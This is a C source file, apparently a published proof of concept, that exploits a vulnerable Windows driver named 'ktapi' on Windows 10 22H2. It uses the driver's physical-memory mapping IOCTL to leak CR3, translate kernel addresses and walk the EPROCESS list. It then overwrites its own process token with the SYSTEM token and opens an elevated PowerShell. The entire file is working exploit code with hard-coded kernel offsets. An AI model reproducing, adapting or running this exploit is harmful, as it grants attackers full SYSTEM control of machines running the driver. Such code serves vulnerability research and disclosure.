ktapi_exploit.c

#include <stdio.h>
#include <windows.h>
#include <stdint.h>
#include <psapi.h>
#include <string.h>

// Offsets for Windows 10 22H2 (build 19045)
#define HALP_LM_STUB_OFFSET                0x3F93E0ULL
#define EPROCESS_UNIQUEPROCESSID_OFFSET    0x440ULL
#define EPROCESS_ACTIVEPROCESSLINKS_OFFSET 0x448ULL
#define EPROCESS_TOKEN_OFFSET              0x4B8ULL
#define EPROCESS_IMAGEFILENAME_OFFSET      0x5A8ULL

// Limits to make exploit stable for all hardware
#define MAX_MAP_SIZE  0x200000ULL
#define SCAN_LIMIT    0x1000000ULL

// Input reversed from driver
struct MAP_PHYSICAL_INPUT {
    DWORD     InterfaceType;
    DWORD     BusNumber;
    ULONGLONG BusAddress;
    DWORD     AddressSpace;
    DWORD     Length;
};

// Global driver handle
HANDLE g_hDevice = INVALID_HANDLE_VALUE;

// Just menu function
void initialMenu(){
    printf("\nktapi driver exploitation PoC\n\n");
    printf("Made by Vojtech Hron aka n00bDebugger, only for educational purposes\n");
    printf("For more info, check out my blog https://vojtechhron.dev/cs/article/ktapi-lpe\n\n");
}

// Get handle for driver device
BOOL openDriver(HANDLE *out){
    if (out == NULL) {
        return FALSE;
    }

    HANDLE hDevice = CreateFileA(
        "\\\\.\\ktapi",
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        *out = INVALID_HANDLE_VALUE;
        return FALSE;
    }

    *out = hDevice;
    return TRUE;
}

// Get pointer to physical address
BOOL getPointerForPhysicalAdress(ULONGLONG busAdress, DWORD lenght, BYTE **out){
    if (out == NULL) {
        return FALSE;
    }

    struct MAP_PHYSICAL_INPUT in = {
        .InterfaceType = 0,
        .BusNumber     = 0,
        .BusAddress    = busAdress,
        .AddressSpace  = 0,
        .Length        = lenght,
    };

    DWORD returned = 0;
    ULONGLONG tmp = 0;

    BOOL ok = DeviceIoControl(
        g_hDevice,
        0x82007000,
        &in, sizeof(in),
        &tmp, sizeof(tmp),
        &returned, NULL
    );

    if (ok && returned == sizeof(ULONGLONG)) {
        *out = (BYTE*)(uintptr_t)tmp;
        return TRUE;
    }

    return FALSE;
}

// Read physical memory
static BOOL readPhysical(ULONGLONG address, void *buf, DWORD size){
    BYTE *mapping = NULL;

    if (!getPointerForPhysicalAdress(address, size, &mapping)) {
        return FALSE;
    }

    memcpy(buf, mapping, size);
    return TRUE;
}

// Read 64 bits from physical memory
static BOOL readPhysical64(ULONGLONG address, ULONGLONG *value){
    return readPhysical(address, value, sizeof(ULONGLONG));
}

// Write physical memory
static BOOL writePhysical(ULONGLONG address, const void *buf, DWORD size){
    BYTE *mapping = NULL;

    if (!getPointerForPhysicalAdress(address, size, &mapping)) {
        return FALSE;
    }

    memcpy(mapping, buf, size);
    return TRUE;
}

// Write 64 bits to physical memory
static BOOL writePhysical64(ULONGLONG address, ULONGLONG value){
    return writePhysical(address, &value, sizeof(ULONGLONG));
}

// Get ntoskrnl base address
ULONG64 GetNtosBase() {
    LPVOID driverBaseAddresses[1024];
    DWORD sizeRequired;

    if (!EnumDeviceDrivers(driverBaseAddresses, sizeof(driverBaseAddresses), &sizeRequired)) {
        return 0;
    }

    DWORD count = sizeRequired / sizeof(LPVOID);

    if (count > 1024) {
        count = 1024;
    }

    for (DWORD i = 0; i < count; i++) {
        char name[MAX_PATH] = {0};

        if (GetDeviceDriverBaseNameA(driverBaseAddresses[i], name, sizeof(name))) {
            if (_stricmp(name, "ntoskrnl.exe") == 0 ||
                _stricmp(name, "ntkrnlmp.exe") == 0) {

                ULONG64 base = (ULONG64)driverBaseAddresses[i];

                if ((base >> 32) == 0xffffffffULL) {
                    base = (base & 0xFFFFFFFFULL) | 0xFFFFF80000000000ULL;
                }

                return base;
            }
        }
    }

    return 0;
}

// Get CR3 from Low Stub
ULONG64 getCR3() {
    ULONG64 ntosBase = GetNtosBase();

    if (!ntosBase) {
        return 0;
    }

    ULONG64 halpLMStub = ntosBase + HALP_LM_STUB_OFFSET;

    printf("[+] ntoskrnl base : 0x%llx\n", ntosBase);
    printf("[+] HalpLMStub VA: 0x%llx\n", halpLMStub);

    for (ULONG64 base = 0; base < SCAN_LIMIT; base += MAX_MAP_SIZE) {
        BYTE *memory_data = NULL;

        if (!getPointerForPhysicalAdress(base, (DWORD)MAX_MAP_SIZE, &memory_data)) {
            continue;
        }

        for (ULONG64 offset = 0; offset < MAX_MAP_SIZE; offset += 8) {
            ULONG64 qword = *(ULONG64*)(memory_data + offset);

            if (qword == halpLMStub) {
                printf("[+] Found nt!HalpLMStub in Low Stub at phys 0x%llx\n",
                       base + offset);

                ULONG64 cr3 = 0;
                readPhysical64(base + offset + 0x30, &cr3);
                cr3 &= 0x000FFFFFFFFFF000ULL;

                printf("[+] Leaked CR3 -> 0x%llx\n", cr3);
                return cr3;
            }
        }
    }

    return 0;
}

// Virtual to physical address translation
BOOL virtualToPhysical(ULONG64 cr3, ULONG64 virtualAddr, ULONG64 *physicalAddr) {
    ULONG64 i4 = (virtualAddr >> 39) & 0x1FF;
    ULONG64 i3 = (virtualAddr >> 30) & 0x1FF;
    ULONG64 i2 = (virtualAddr >> 21) & 0x1FF;
    ULONG64 i1 = (virtualAddr >> 12) & 0x1FF;
    ULONG64 offset = virtualAddr & 0xFFF;

    ULONG64 entry;

    // PML4E
    if (!readPhysical64((cr3 & ~0xFFFULL) + i4 * 8, &entry)) {
        return FALSE;
    }

    if (!(entry & 1)) {
        return FALSE;
    }

    ULONG64 pdpt = entry & 0x000FFFFFFFFFF000ULL;

    // PDPTE
    if (!readPhysical64(pdpt + i3 * 8, &entry)) {
        return FALSE;
    }

    if (!(entry & 1)) {
        return FALSE;
    }

    if (entry & (1ULL << 7)) {
        *physicalAddr = (entry & 0x000FFFFFC0000000ULL) + (virtualAddr & 0x3FFFFFFFULL);
        return TRUE;
    }

    ULONG64 pd = entry & 0x000FFFFFFFFFF000ULL;

    // PDE
    if (!readPhysical64(pd + i2 * 8, &entry)) {
        return FALSE;
    }

    if (!(entry & 1)) {
        return FALSE;
    }

    if (entry & (1ULL << 7)) {
        *physicalAddr = (entry & 0x000FFFFFFFE00000ULL) + (virtualAddr & 0x1FFFFFULL);
        return TRUE;
    }

    ULONG64 pt = entry & 0x000FFFFFFFFFF000ULL;

    // PTE
    if (!readPhysical64(pt + i1 * 8, &entry)) {
        return FALSE;
    }

    if (!(entry & 1)) {
        return FALSE;
    }

    *physicalAddr = (entry & 0x000FFFFFFFFFF000ULL) + offset;
    return TRUE;
}

// Read virtual memory
BOOL readVirtual(ULONG64 cr3, ULONG64 virtualAddr, void *buf, DWORD size) {
    BYTE *out = (BYTE*)buf;
    DWORD done = 0;

    while (done < size) {
        ULONG64 pa = 0;

        if (!virtualToPhysical(cr3, virtualAddr + done, &pa)) {
            return FALSE;
        }

        DWORD pageRemaining = 0x1000 - (DWORD)(pa & 0xFFF);
        DWORD remaining = size - done;
        DWORD toRead = pageRemaining;

        if (remaining < pageRemaining) {
            toRead = remaining;
        }

        if (!readPhysical(pa, out + done, toRead)) {
            return FALSE;
        }

        done += toRead;
    }

    return TRUE;
}

// Read 64 bits from virtual memory
BOOL readVirtual64(ULONG64 cr3, ULONG64 virtualAddr, ULONG64 *value) {
    return readVirtual(cr3, virtualAddr, value, sizeof(ULONG64));
}

// Resolve symbol address from ntoskrnl exports
ULONG64 getSymbolAddress(ULONG64 cr3, ULONG64 ntosBase, const char *symbol) {
    IMAGE_DOS_HEADER dos;

    if (!readVirtual(cr3, ntosBase, &dos, sizeof(dos))) {
        return 0;
    }

    if (dos.e_magic != IMAGE_DOS_SIGNATURE) {
        return 0;
    }

    IMAGE_NT_HEADERS64 nt;

    if (!readVirtual(cr3, ntosBase + dos.e_lfanew, &nt, sizeof(nt))) {
        return 0;
    }

    if (nt.Signature != IMAGE_NT_SIGNATURE) {
        return 0;
    }

    IMAGE_DATA_DIRECTORY expDir = nt.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    if (expDir.VirtualAddress == 0) {
        return 0;
    }

    IMAGE_EXPORT_DIRECTORY exp;

    if (!readVirtual(cr3, ntosBase + expDir.VirtualAddress, &exp, sizeof(exp))) {
        return 0;
    }

    DWORD *names = (DWORD*)malloc(exp.NumberOfNames * sizeof(DWORD));
    WORD  *ordinals = (WORD*)malloc(exp.NumberOfNames * sizeof(WORD));
    DWORD *functions = (DWORD*)malloc(exp.NumberOfFunctions * sizeof(DWORD));

    if (!names || !ordinals || !functions) {
        return 0;
    }

    readVirtual(cr3, ntosBase + exp.AddressOfNames, names, exp.NumberOfNames * sizeof(DWORD));

    readVirtual(cr3, ntosBase + exp.AddressOfNameOrdinals, ordinals, exp.NumberOfNames * sizeof(WORD));

    readVirtual(cr3, ntosBase + exp.AddressOfFunctions, functions, exp.NumberOfFunctions * sizeof(DWORD));

    ULONG64 result = 0;

    for (DWORD i = 0; i < exp.NumberOfNames; i++) {
        char name[64];

        if (!readVirtual(cr3, ntosBase + names[i], name, sizeof(name))) {
            continue;
        }

        name[63] = 0;

        if (strcmp(name, symbol) == 0) {
            result = ntosBase + functions[ordinals[i]];
            break;
        }
    }

    free(names);
    free(ordinals);
    free(functions);

    return result;
}

int main() {
    initialMenu();

    // Requires x64 build
    if (sizeof(void*) != 8) {
        printf("[-] Requires x64 build\n");
        return 1;
    }

    // Open driver
    if (!openDriver(&g_hDevice)) {
        printf("[-] Failed to open driver: %lu\n", GetLastError());
        return 1;
    }

    printf("[+] Driver opened successfully\n");

    // Get CR3
    ULONG64 cr3 = getCR3();

    if (!cr3) {
        printf("[-] Failed to get CR3\n");
        return 1;
    }

    // Get ntoskrnl base
    ULONG64 ntosBase = GetNtosBase();

    // Resolve PsInitialSystemProcess
    printf("[+] Resolving PsInitialSystemProcess...\n");

    ULONG64 psInitialSystemProcess = getSymbolAddress(cr3, ntosBase, "PsInitialSystemProcess");

    if (!psInitialSystemProcess) {
        printf("[-] Failed to find PsInitialSystemProcess\n");
        return 1;
    }

    printf("[+] PsInitialSystemProcess = 0x%llx\n", psInitialSystemProcess);

    // Read SYSTEM EPROCESS virtual address
    ULONG64 systemEprocessVA = 0;

    if (!readVirtual64(cr3, psInitialSystemProcess, &systemEprocessVA)) {
        printf("[-] Failed to read SYSTEM EPROCESS VA\n");
        return 1;
    }

    printf("[+] SYSTEM EPROCESS VA = 0x%llx\n", systemEprocessVA);

    // Translate to physical address
    ULONG64 systemEprocessPhys = 0;

    if (!virtualToPhysical(cr3, systemEprocessVA, &systemEprocessPhys)) {
        printf("[-] VA->PA failed for SYSTEM EPROCESS\n");
        return 1;
    }

    // Walk process list to find our EPROCESS
    DWORD myPid = GetCurrentProcessId();
    printf("[+] Our PID: %u\n", myPid);

    ULONG64 currentPhys = systemEprocessPhys;
    ULONG64 myEprocessPhys = 0;

    for (int i = 0; i < 1000; i++) {
        ULONG64 pid = 0;
        readPhysical64(currentPhys + EPROCESS_UNIQUEPROCESSID_OFFSET, &pid);

        char name[16] = {0};
        readPhysical(currentPhys + EPROCESS_IMAGEFILENAME_OFFSET, name, 15);

        printf("[+] [%d] PID=%llu name='%s'\n", i, pid, name);

        if ((DWORD)pid == myPid) {
            myEprocessPhys = currentPhys;
            printf("[+] Found our EPROCESS at PA 0x%llx\n", currentPhys);
            break;
        }

        ULONG64 flink = 0;
        readPhysical64(currentPhys + EPROCESS_ACTIVEPROCESSLINKS_OFFSET, &flink);

        ULONG64 nextVA = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
        ULONG64 nextPhys = 0;

        if (!virtualToPhysical(cr3, nextVA, &nextPhys)) {
            printf("[-] VA->PA failed for next EPROCESS\n");
            return 1;
        }

        if (nextPhys == systemEprocessPhys) {
            break;
        }

        currentPhys = nextPhys;
    }

    if (!myEprocessPhys) {
        printf("[-] Our EPROCESS not found\n");
        return 1;
    }

    // Read SYSTEM token
    ULONG64 systemToken = 0;
    readPhysical64(systemEprocessPhys + EPROCESS_TOKEN_OFFSET, &systemToken);
    systemToken &= 0xFFFFFFFFFFFFFFF0ULL;

    printf("[+] SYSTEM token = 0x%llx\n", systemToken);

    // Overwrite our token
    writePhysical64(myEprocessPhys + EPROCESS_TOKEN_OFFSET, systemToken);
    printf("[+] Token stolen! Enjoy SYSTEM :)\n");

    system("start powershell");
    return 0;
}